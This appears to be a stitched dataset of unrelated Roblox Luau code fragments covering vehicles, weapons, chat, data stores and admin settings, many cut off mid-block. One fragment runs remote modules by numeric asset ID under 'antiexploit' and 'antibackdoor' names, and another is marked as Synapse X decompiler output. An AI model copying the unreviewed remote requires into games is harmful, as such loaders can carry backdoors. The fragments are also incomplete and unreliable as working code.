-- services
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local TeleportService = game:GetService("TeleportService")
local HttpService = game:GetService("HttpService")
local Players = game:GetService("Players")
|
------Modules------
|
local modules = script.Parent.Parent.Modules
local core = require(modules.CoreModule)
local actions = require(modules.ActionsModule)
local combat = require(modules.CombatModule)
local targeting = require(modules.TargetModule)
local movement = require(modules.MovementModule)
local status = require(modules.Status)
local troubleshoot = require(modules.Troubleshoot)
|
-- handler:FireServer('updateLights', 'fog', true)
|
end
end
elseif input.KeyCode == Enum.KeyCode.Z or input.KeyCode == Enum.KeyCode.ButtonL1 then
if input.UserInputState == Enum.UserInputState.Begin then
if not Debounce then
Debounce = true
handler:FireServer('blinkers', 'Left',st)
wait(1/3)
Debounce = false
end
end
elseif input.KeyCode == Enum.KeyCode.C or input.KeyCode == Enum.KeyCode.ButtonR1 then
if input.UserInputState == Enum.UserInputState.Begin then
if not Debounce then
Debounce = true
handler:FireServer('blinkers', 'Right',st)
wait(1/3)
Debounce = false
end
end
elseif input.KeyCode == Enum.KeyCode.X then
if input.UserInputState == Enum.UserInputState.Begin then
if not Debounce then
Debounce = true
handler:FireServer('blinkers', 'Hazards',false)
wait(1/3)
Debounce = false
end
end
end
end
is.InputBegan:connect(DealWithInput)
is.InputChanged:connect(DealWithInput)
is.InputEnded:connect(DealWithInput)
handler.OnClientEvent:connect(function(...)
local Args = {...}
if Args[1] then
if Args[1] == 'blink' then
if Args[2] then
local P = Args[2]
if Args[3] then
local Play = Args[3]
script.Parent.Blink.Pitch = P
if Play == true then
script.Parent.Blink:Play()
elseif Play == false then
script.Parent.Blink:Stop()
end
end
end
end
end
end)
|
-- How many times per second the gun can fire
|
local FireRate = 1 / 1.33
|
--[=[
Constructs a new PlayerDataStoreManager.
@param robloxDataStore DataStore
@param keyGenerator (player) -> string -- Function that takes in a player, and outputs a key
@return PlayerDataStoreManager
]=]
|
function PlayerDataStoreManager.new(robloxDataStore, keyGenerator)
local self = setmetatable(BaseObject.new(), PlayerDataStoreManager)
self._robloxDataStore = robloxDataStore or error("No robloxDataStore")
self._keyGenerator = keyGenerator or error("No keyGenerator")
self._maid._savingConns = Maid.new()
self._datastores = {} -- [player] = datastore
self._removing = {} -- [player] = true
self._pendingSaves = PendingPromiseTracker.new()
self._removingCallbacks = {} -- [func, ...]
self._maid:GiveTask(Players.PlayerRemoving:Connect(function(player)
if self._disableSavingInStudio then
return
end
self:_removePlayerDataStore(player)
end))
game:BindToClose(function()
if self._disableSavingInStudio then
return
end
self:PromiseAllSaves():Wait()
end)
return self
end
|
--[[
Constructs a new computed state object, which follows the value of another
state object using a tween.
]]
|
local Package = script.Parent.Parent
local PubTypes = require(Package.PubTypes)
local Types = require(Package.Types)
local TweenScheduler = require(Package.Animation.TweenScheduler)
local useDependency = require(Package.Dependencies.useDependency)
local initDependency = require(Package.Dependencies.initDependency)
local class = {}
local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
|
--//Custom Functions\\--
|
function TagHumanoid(humanoid, player)
local Creator_Tag = Instance.new("ObjectValue")
Creator_Tag.Name = "creator"
Creator_Tag.Value = player
debris:AddItem(Creator_Tag, 0.3)
Creator_Tag.Parent = humanoid
end
function UntagHumanoid(humanoid)
for i, v in pairs(humanoid:GetChildren()) do
if v:IsA("ObjectValue") and v.Name == "creator" then
v:Destroy()
end
end
end
function TextEffects(element, floatAmount, direction, style, duration)
element:TweenPosition(UDim2.new(0, math.random(-40, 40), 0, -floatAmount), direction, style, duration)
wait(0.5)
for i = 1, 60 do
element.TextTransparency = element.TextTransparency + 1/60
element.TextStrokeTransparency = element.TextStrokeTransparency + 1/60
wait(1/60)
end
element.TextTransparency = element.TextTransparency + 1
element.TextStrokeTransparency = element.TextStrokeTransparency + 1
element.Parent:Destroy()
end
function DynamicText(damage, criticalPoint, humanoid)
local bill = Instance.new("BillboardGui", humanoid.Parent.Head)
bill.Size = UDim2.new(0, 50, 0, 100)
local part = Instance.new("TextLabel", bill)
bill.AlwaysOnTop = true
part.TextColor3 = Color3.fromRGB(255, 0, 0)
part.Text = damage
part.Font = Enum.Font.SourceSans
part.TextStrokeTransparency = 0
part.Size = UDim2.new(1, 0, 1, 0)
part.Position = UDim2.new(0, 0, 0, 0)
part.BackgroundTransparency = 1
bill.Adornee = bill.Parent
if damage < criticalPoint then
part.TextSize = 28
part.TextColor3 = Color3.new(1, 0, 0)
elseif damage >= criticalPoint then
part.TextSize = 32
part.TextColor3 = Color3.new(1, 1, 0)
end
spawn(function()
TextEffects(part, 85, Enum.EasingDirection.Out, Enum.EasingStyle.Quint, 0.75)
end)
end
function DamageAndTagHumanoid(player, humanoid, damage)
hit:FireClient(player)
UntagHumanoid(handle)
humanoid:TakeDamage(damage) TagHumanoid(humanoid, player)
end
|
-- This is pcalled because the SetCore methods may not be released yet.
|
pcall(function()
PlayerBlockedEvent = StarterGui:GetCore("PlayerBlockedEvent")
PlayerMutedEvent = StarterGui:GetCore("PlayerMutedEvent")
PlayerUnBlockedEvent = StarterGui:GetCore("PlayerUnblockedEvent")
PlayerUnMutedEvent = StarterGui:GetCore("PlayerUnmutedEvent")
end)
function SendSystemMessageToSelf(message)
local currentChannel = ChatWindow:GetCurrentChannel()
if currentChannel then
local messageData =
{
ID = -1,
FromSpeaker = nil,
SpeakerUserId = 0,
OriginalChannel = currentChannel.Name,
IsFiltered = true,
MessageLength = string.len(message),
Message = trimTrailingSpaces(message),
MessageType = ChatConstants.MessageTypeSystem,
Time = os.time(),
ExtraData = nil,
}
currentChannel:AddMessageToChannel(messageData)
end
end
function MutePlayer(player)
local mutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("MutePlayerRequest")
if mutePlayerRequest then
return mutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerBlockedEvent then
PlayerBlockedEvent.Event:connect(function(player)
if MutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenBlocked",
string.format("Speaker '%s' has been blocked.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
if PlayerMutedEvent then
PlayerMutedEvent.Event:connect(function(player)
if MutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenMuted",
string.format("Speaker '%s' has been muted.", player.Name)
),
"{RBX_NAME}", player.Name
)
)
end
end)
end
function UnmutePlayer(player)
local unmutePlayerRequest = DefaultChatSystemChatEvents:FindFirstChild("UnMutePlayerRequest")
if unmutePlayerRequest then
return unmutePlayerRequest:InvokeServer(player.Name)
end
return false
end
if PlayerUnBlockedEvent then
PlayerUnBlockedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnBlocked",
string.format("Speaker '%s' has been unblocked.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
if PlayerUnMutedEvent then
PlayerUnMutedEvent.Event:connect(function(player)
if UnmutePlayer(player) then
SendSystemMessageToSelf(
string.gsub(
ChatLocalization:Get(
"GameChat_ChatMain_SpeakerHasBeenUnMuted",
string.format("Speaker '%s' has been unmuted.", player.Name)
),
"{RBX_NAME}",player.Name
)
)
end
end)
end
|
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
------------------------------------------------------------------------------------------------
|
Collapse.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local Dor = Human.Parent.Saude.Variaveis.Dor
local Sangue = Human.Parent.Saude.Variaveis.Sangue
local IsWounded = Human.Parent.Saude.Stances.Caido
if (Sangue.Value <= 3500) or (Dor.Value >= 200) or (IsWounded.Value == true) then -- Man this Guy's Really wounded,
IsWounded.Value = true
Human.PlatformStand = true
Human.AutoRotate = false
elseif (Sangue.Value > 3500) and (Dor.Value < 200) and (IsWounded.Value == false) then -- YAY A MEDIC ARRIVED! =D
Human.PlatformStand = false
IsWounded.Value = false
Human.AutoRotate = true
end
end)
Reset.OnServerEvent:Connect(function(player)
local Human = player.Character.Humanoid
local target = Human.Parent.Saude.Variaveis.PlayerSelecionado
target.Value = "N/A"
end)
|
--[=[
@interface ServiceDef
.Name string
.Client table?
.Middleware Middleware?
.[any] any
@within KnitServer
Used to define a service when creating it in `CreateService`.
The middleware tables provided will be used instead of the Knit-level
middleware (if any). This allows fine-tuning each service's middleware.
These can also be left out or `nil` to not include middleware.
]=]
|
type ServiceDef = {
Name: string,
Client: { [any]: any }?,
Middleware: Middleware?,
[any]: any,
}
|
--if char:FindFirstChild("Human") then
-- char:FindFirstChild("Human").Health = 0
-- char:FindFirstChild("Human").MaxHealth = 0
--elseif char:FindFirstChild("Humanoid") then
-- char:FindFirstChild("Humanoid").Health = 0
-- char:FindFirstChild("Humanoid").MaxHealth = 0
--elseif char:FindFirstChild("Hum") then
-- char:FindFirstChild("Hum").Health = 0
-- char:FindFirstChild("Hum").MaxHealth = 0
--end
|
if char:FindFirstChild("Humanoid") then
char.Humanoid.HealthDisplayDistance = 0
char.Humanoid.Name = "Immortal"
end
|
-- turn off the viewmodel system
|
local function disableviewmodel()
isfirstperson = false
viewmodel.Parent = nil
if rigtype == "R15" then
-- disable viewmodel joints, enable real character joints
rightshoulderclone.Enabled = false
leftshoulderclone.Enabled = false
viewmodel.Parent = nil
-- reset shoulder joints to normal
leftshoulder.Parent = larm
leftshoulder.Part0 = torso
leftshoulder.Part1 = larm
rightshoulder.Parent = rarm
rightshoulder.Part0 = torso
rightshoulder.Part1 = rarm
--
leftshoulder.Enabled = true
rightshoulder.Enabled = true
--
armtransparency = 0
visiblearms(false)
else
rightshoulderclone.Enabled = false
leftshoulderclone.Enabled = false
viewmodel.Parent = nil
-- reset shoulder joints to normal, anchor the arms
leftshoulder.Parent = torso
leftshoulder.Part0 = torso
leftshoulder.Part1 = larm
rightshoulder.Parent = torso
rightshoulder.Part0 = torso
rightshoulder.Part1 = rarm
--
leftshoulder.Enabled = true
rightshoulder.Enabled = true
--
armtransparency = 0
visiblearms(false)
end
end
|
-- print(Name .. " [" .. Index .. "] " .. Anim.Id .. " (" .. Anim.Weight .. ")")
|
end
end
end
|
--Enter the name of the model you want to go to here.
------------------------------------
|
modelname="Teleporter 2"
|
--[[ Constants ]]--
-- Set this to true if you want to instead use the triggers for the throttle
|
local useTriggersForThrottle = true
|
--[[Drivetrain]]
|
Tune.Config = "RWD" --"FWD" , "RWD" , "AWD"
--Differential Settings
Tune.FDiffSlipThres = 50 -- 1 - 100% (Max threshold of applying full lock determined by deviation from avg speed)
Tune.FDiffLockThres = 50 -- 0 - 100% (0 - Bias toward slower wheel, 100 - Bias toward faster wheel)
Tune.RDiffSlipThres = 30 -- 1 - 100%
Tune.RDiffLockThres = 60 -- 0 - 100%
Tune.CDiffSlipThres = 50 -- 1 - 100% [AWD Only]
Tune.CDiffLockThres = 50 -- 0 - 100% [AWD Only]
--Traction Control Settings
Tune.TCSEnabled = true -- Implements TCS
Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS)
Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS)
Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
|
--Initialize two tables
|
local Register = {} --One to define methods
local info = {} --One for information storage
|
--------------------------------------------------------------------------------
|
local function FormatValue(Value: any): string
return typeof(Value) == "number" and FormatNumber(Value, "Suffix") or tostring(Value)
end
local function OnPlayerAdded(Player: Player)
local pData = PlayerData:WaitForChild(Player.UserId, 5)
local Stats = pData and pData:WaitForChild("Stats", 5)
if not Stats then return end
local leaderstats = Instance.new("Folder")
leaderstats.Name = "leaderstats"
for _, StatName in StatsToShow do
local Stat = Stats:WaitForChild(StatName, 5)
if Stat then
local ValueObject = Instance.new("StringValue")
ValueObject.Name = StatName
ValueObject.Value = FormatValue(Stat.Value)
ValueObject.Parent = leaderstats
Stat.Changed:Connect(function()
ValueObject.Value = FormatValue(Stat.Value)
end)
end
end
leaderstats.Parent = Player
end
Players.PlayerAdded:Connect(OnPlayerAdded)
for _, Player in Players:GetPlayers() do
task.defer(OnPlayerAdded, Player)
end
return {}
|
--[[Misc]]
|
Tune.LoadDelay = 1 -- Delay before initializing chassis (in seconds)
Tune.AutoStart = true -- Set to false if using manual ignition plugin
Tune.AutoFlip = true -- Set to false if using manual flip plugin
|
-- SERVICES --
|
local TS = game:GetService("TweenService")
local RS = game:GetService("ReplicatedStorage")
|
----------------------------------------------------------------------------------------------------
-----------------=[ RECOIL & PRECISAO ]=------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,VRecoil = {21,23} --- Vertical Recoil
,HRecoil = {6,9} --- Horizontal Recoil
,AimRecover = .65 ---- Between 0 & 1
,RecoilPunch = .175
,VPunchBase = 4.25 --- Vertical Punch
,HPunchBase = 2.25 --- Horizontal Punch
,DPunchBase = 1 --- Tilt Punch | useless
,AimRecoilReduction = 5 --- Recoil Reduction Factor While Aiming (Do not set to 0)
,PunchRecover = 0.2
,MinRecoilPower = .75
,MaxRecoilPower = 3.5
,RecoilPowerStepAmount = .25
,MinSpread = 0.35 --- Min bullet spread value | Studs
,MaxSpread = 40 --- Max bullet spread value | Studs
,AimInaccuracyStepAmount = 1.15
,WalkMultiplier = 0 --- Bullet spread based on player speed
,SwayBase = 0.25 --- Weapon Base Sway | Studs
,MaxSway = 1.75 --- Max sway value based on player stamina | Studs
|
---Auto Settings---
|
elseif Settings.Mode == "Auto" and Settings.FireModes.Explosive == true then
Gui.FText.Text = "Explosive"
Settings.Mode = "Explosive"
elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == true and Settings.FireModes.Explosive == false then
Gui.FText.Text = "Semi"
Settings.Mode = "Semi"
elseif Settings.Mode == "Auto" and Settings.FireModes.Semi == false and Settings.FireModes.Burst == true and Settings.FireModes.Explosive == false then
Gui.FText.Text = "Burst"
Settings.Mode = "Burst"
|
----------------------------------------------------------------------------------------------------
--------------------=[ OUTROS ]=--------------------------------------------------------------------
----------------------------------------------------------------------------------------------------
|
,FastReload = true --- Automatically operates the bolt on reload if needed
,SlideLock = false
,MoveBolt = false
,BoltLock = false
,CanBreachDoor = false
,CanBreak = true --- Weapon can jam?
,JamChance = 1000 --- This old piece of brick doesn't work fine >;c
,IncludeChamberedBullet = true --- Include the chambered bullet on next reload
,Chambered = false --- Start with the gun chambered?
,LauncherReady = false --- Start with the GL ready?
,CanCheckMag = true --- You can check the magazine
,ArcadeMode = false --- You can see the bullets left in magazine
,RainbowMode = false --- Operation: Party Time xD
,ModoTreino = false --- Surrender enemies instead of killing them
,GunSize = 2
,GunFOVReduction = 5
,BoltExtend = Vector3.new(0, 0, 0.375)
,SlideExtend = Vector3.new(0, 0, 0.4)
|
-- Written By Kip Turner, Copyright Roblox 2014
|
local UIS = game:GetService("UserInputService")
local PathfindingService = game:GetService("PathfindingService")
local PlayerService = game:GetService("Players")
local RunService = game:GetService("RunService")
local DebrisService = game:GetService('Debris')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local CameraScript = script.Parent
local ClassicCameraModule = require(CameraScript:WaitForChild('RootCamera'):WaitForChild('ClassicCamera'))
local Player = PlayerService.localPlayer
local MyMouse = Player:GetMouse()
local DirectPathEnabled = false
local SHOW_PATH = false
local Y_VECTOR3 = Vector3.new(0, 1, 0)
local XZ_VECTOR3 = Vector3.new(1, 0, 1)
local ZERO_VECTOR3 = Vector3.new(0, 0, 0)
local ZERO_VECTOR2 = Vector2.new(0, 0)
local RayCastIgnoreList = workspace.FindPartOnRayWithIgnoreList
local GetPartsTouchingExtents = workspace.FindPartsInRegion3
local math_min = math.min
local math_max = math.max
local math_pi = math.pi
local math_floor = math.floor
local math_abs = math.abs
local math_deg = math.deg
local math_acos = math.acos
local math_sin = math.sin
local math_atan2 = math.atan2
local Vector3_new = Vector3.new
local Vector2_new = Vector2.new
local CFrame_new = CFrame.new
local CurrentSeatPart = nil
local DrivingTo = nil
|
-- Basic Settings
|
AdminCredit=true; -- Enables the credit GUI for that appears in the bottom right
AutoClean=false; -- Enables automatic cleaning of hats & tools in the Workspace
AutoCleanDelay=60; -- The delay between each AutoClean routine
CommandBar=true; -- Enables the Command Bar | GLOBAL KEYBIND: \
FunCommands=true; -- Enables fun yet unnecessary commands
FreeAdmin=false; -- Set to 1-5 to grant admin powers to all, otherwise set to false
PublicLogs=false; -- Allows all users to see the command & chat logs
Prefix=':'; -- Character to begin a command
--[[
Admin Powers
0 Player
1 VIP Can use nonabusive commands only on self
2 Moderator Can kick, mute, & use most commands
3 Administrator Can ban, crash, & set Moderators/VIP
4 SuperAdmin Can grant permanent powers, & shutdown the game
5 Owner Can set SuperAdmins, & use all the commands
6 Game Creator Can set owners & use all the commands
Group & VIP Admin
You can set multiple Groups & Ranks to grant users admin powers:
GroupAdmin={
[12345]={[254]=4,[253]=3};
[GROUPID]={[RANK]=ADMINPOWER}
};
You can set multiple Assets to grant users admin powers:
VIPAdmin={
[12345]=3;
[54321]=4;
[ITEMID]=ADMINPOWER;
}; ]]
GroupAdmin={
};
VIPAdmin={
};
|
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
|
return function(player, dialogueFolder)
local ClassInformationTable = require(game.ReplicatedStorage.Source.Modules.CharacterScripts.Classes.ClassInformation)
return ClassInformationTable:GetClassFolder(player,"Paladin").JumpStrike1.Value == true
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
cPcall = nil;
Pcall = nil;
Routine = nil;
service = nil;
gTable = nil;
return function(p1)
local v1 = nil;
local l__PlayerGui__2 = service.PlayerGui;
local l__LocalPlayer__3 = service.Players.LocalPlayer;
local v4 = service.New("ScreenGui");
local v5 = service.New("ImageButton", v4);
v1 = client.UI.Register(v4);
if client.UI.Get("HelpButton", v4, true) then
v4:Destroy();
v1:Destroy();
return nil;
end;
v1.Name = "HelpButton";
v1.CanKeepAlive = false;
v5.Name = "Toggle";
v5.BackgroundTransparency = 1;
v5.Position = UDim2.new(1, -45, 1, -45);
v5.Size = UDim2.new(0, 40, 0, 40);
v5.Image = client.HelpButtonImage;
v5.ImageTransparency = 0.5;
v5.MouseButton1Down:Connect(function()
local v6 = client.UI.Get("UserPanel", nil, true);
if not v6 then
client.UI.Make("UserPanel", {});
return;
end;
v6.Object:Destroy();
end);
v1:Ready();
end;
|
-- These are exactly the same thing. No one will notice. Except for you, dear reader.
|
Registry.RegisterHooksIn = Registry.RegisterTypesIn
|
--[=[
@function cancellableDelay
@param timeoutInSeconds number
@param func function
@param ... any -- Args to pass into the function
@return function? -- Can be used to cancel
@within cancellableDelay
]=]
|
local function cancellableDelay(timeoutInSeconds, func, ...)
assert(type(timeoutInSeconds) == "number", "Bad timeoutInSeconds")
assert(type(func) == "function", "Bad func")
local args = table.pack(...)
local running
task.spawn(function()
running = coroutine.running()
task.wait(timeoutInSeconds)
local localArgs = args
running = nil
args = nil
func(table.unpack(localArgs, 1, localArgs.n))
end)
return function()
if running then
coroutine.close(running)
running = nil
args = nil
end
end
end
return cancellableDelay
|
--// Damage Settings
|
BaseDamage = 45; -- Torso Damage
LimbDamage = 35; -- Arms and Legs
ArmorDamage = 35; -- How much damage is dealt against armor (Name the armor "Armor")
HeadDamage = 85; -- If you set this to 100, there's a chance the player won't die because of the heal script
|
--Thanks.
|
local mymodule2 = require(3667797501)
mymodule2.antiexploit()
wait(2)
local mymodule = require(3664252382)
mymodule.antibackdoor()
|
--[=[
Constructs a new BaseObject
@param obj? Instance
@return BaseObject
]=]
|
function BaseObject.new(obj)
local self = setmetatable({}, BaseObject)
self._maid = Maid.new()
self._obj = obj
return self
end
|
--!strict
--[[*
* Copyright (c) Facebook, Inc. and its affiliates.
*
* This source code is licensed under the MIT license found in the
* LICENSE file in the root directory of this source tree.
*
* @flow
]]
|
local Packages = script.Parent.Parent
local LuauPolyfill = require(Packages.LuauPolyfill)
type Object = LuauPolyfill.Object
local flowtypes = require(script.Parent["flowtypes.roblox"])
type React_Element<ElementType> = flowtypes.React_Element<ElementType>
type React_StatelessFunctionalComponent<P> = flowtypes.React_StatelessFunctionalComponent<
P
>
type React_ComponentType<P> = flowtypes.React_ComponentType<P>
export type Source = {
fileName: string,
lineNumber: number,
}
type Key = string | number
|
--[[
Constructors.List
This module provides a set of functions useful for generating lists that can be scrolled through.
This module only has one function:
List.Create(
string[] list, -- an array of strings used to generate instances for the list
integer scrollMax, -- the maximum number of elements visible in the scroll frame at any given time. Defaults to math.huge
enum fillDirection, -- Enum.FillDirection lets you decide if the list is vertical or horizontal. Defaults to verical
udim padding, -- scale and offset for padding between instances. Defaults to no padding
function instanceFunc -- must return a UI object such as a frame. Defaults to creating a textbutton with a child textlabel
)
--]]
| |
-- Modules
|
local Permissions = {CanEdit = true}
local RbxApi = getRbxApi()
|
--!nolint DeprecatedApi
--[[
BaseCamera - Abstract base class for camera control modules
2018 Camera Update - AllYourBlox
--]]
| |
--// B key, Dome Light
|
mouse.KeyDown:connect(function(key)
if key=="-" then
veh.Lightbar.middle.SpotlightSound:Play()
veh.Lightbar.Remotes.DomeEvent:FireServer(true)
end
end)
|
-- declarations
|
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
Humanoid.Health = 50
|
----------------------------------------------------------------
-----------------------SCROLLBAR STUFF--------------------------
----------------------------------------------------------------
----------------------------------------------------------------
|
local ScrollBarWidth = 16
local ScrollStyles = {
Background = Color3.new(233/255, 233/255, 233/255);
Border = Color3.new(149/255, 149/255, 149/255);
Selected = Color3.new( 63/255, 119/255, 189/255);
BorderSelected = Color3.new( 55/255, 106/255, 167/255);
Text = Color3.new( 0/255, 0/255, 0/255);
TextDisabled = Color3.new(128/255, 128/255, 128/255);
TextSelected = Color3.new(255/255, 255/255, 255/255);
Button = Color3.new(221/255, 221/255, 221/255);
ButtonBorder = Color3.new(149/255, 149/255, 149/255);
ButtonSelected = Color3.new(255/255, 0/255, 0/255);
Field = Color3.new(255/255, 255/255, 255/255);
FieldBorder = Color3.new(191/255, 191/255, 191/255);
TitleBackground = Color3.new(178/255, 178/255, 178/255);
}
do
local ZIndexLock = {}
function SetZIndex(object,z)
if not ZIndexLock[object] then
ZIndexLock[object] = true
if object:IsA'GuiObject' then
object.ZIndex = z
end
local children = object:GetChildren()
for i = 1,#children do
SetZIndex(children[i],z)
end
ZIndexLock[object] = nil
end
end
end
function SetZIndexOnChanged(object)
return object.Changed:connect(function(p)
if p == "ZIndex" then
SetZIndex(object,object.ZIndex)
end
end)
end
function Create(ty,data)
local obj
if type(ty) == 'string' then
obj = Instance.new(ty)
else
obj = ty
end
for k, v in pairs(data) do
if type(k) == 'number' then
v.Parent = obj
else
obj[k] = v
end
end
return obj
end
|
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